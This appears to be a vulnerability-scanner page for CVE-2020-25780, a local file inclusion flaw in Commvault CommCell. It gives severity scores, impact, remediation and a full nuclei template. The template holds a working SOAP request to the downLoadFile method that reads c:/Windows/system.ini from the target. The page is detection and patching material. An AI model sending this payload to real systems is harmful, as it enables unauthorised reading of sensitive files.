Commvault CommCell - Local File Inclusion

highseverity

7.5CVSS score

9.9%likelihood of exploitation, next 30 days

96%of all CVEs are less likely

Readycheck to confirm it

CommCell in Commvault before 14.68, 15.x before 15.58, 16.x before 16.44, 17.x before 17.29, and 18.x before 18.13 are vulnerable to local file inclusion because an attacker can view a log file can instead view a file outside of the log-files folder.

Impact

Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the system.

Fix

Apply the latest security patches or updates provided by Commvault to fix the local file inclusion vulnerability.

How to confirm it

Send: POST {{BaseURL}}/SearchSvc/CVSearchService.svc
Positive when: contains "downLoadFileResult" AND status 200

Run it with nuclei: nuclei -id CVE-2020-25780 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2020-25780

info:
  name: Commvault CommCell - Local File Inclusion
  author: pdteam
  severity: high
  description: CommCell in Commvault before 14.68, 15.x before 15.58, 16.x before 16.44, 17.x before 17.29, and 18.x before 18.13 are vulnerable to local file inclusion because an attacker can view a log file can instead view a file outside of the log-files folder.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the system.
  remediation: |
    Apply the latest security patches or updates provided by Commvault to fix the local file inclusion vulnerability.
  reference:
    - https://srcincite.io/blog/2021/11/22/unlocking-the-vault.html
    - http://kb.commvault.com/article/63264
    - https://nvd.nist.gov/vuln/detail/CVE-2020-25780
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2020-25780
    cwe-id: CWE-22
    epss-score: 0.09884
    epss-percentile: 0.95608
    cpe: cpe:2.3:a:commvault:commcell:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: commvault
    product: commcell
  tags: cve,cve2020,commvault,lfi,vuln

http:
  - method: POST
    path:
      - "{{BaseURL}}/SearchSvc/CVSearchService.svc"

    body: |
      <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:tem="http://tempuri.org/">
         <soapenv:Header/>
         <soapenv:Body>
            <tem:downLoadFile>
               <tem:path>c:/Windows/system.ini</tem:path>
            </tem:downLoadFile>
         </soapenv:Body>
      </soapenv:Envelope>

    headers:
      Cookie: Login
      soapaction: http://tempuri.org/ICVSearchSvc/downLoadFile
      content-type: text/xml

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "downLoadFileResult"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from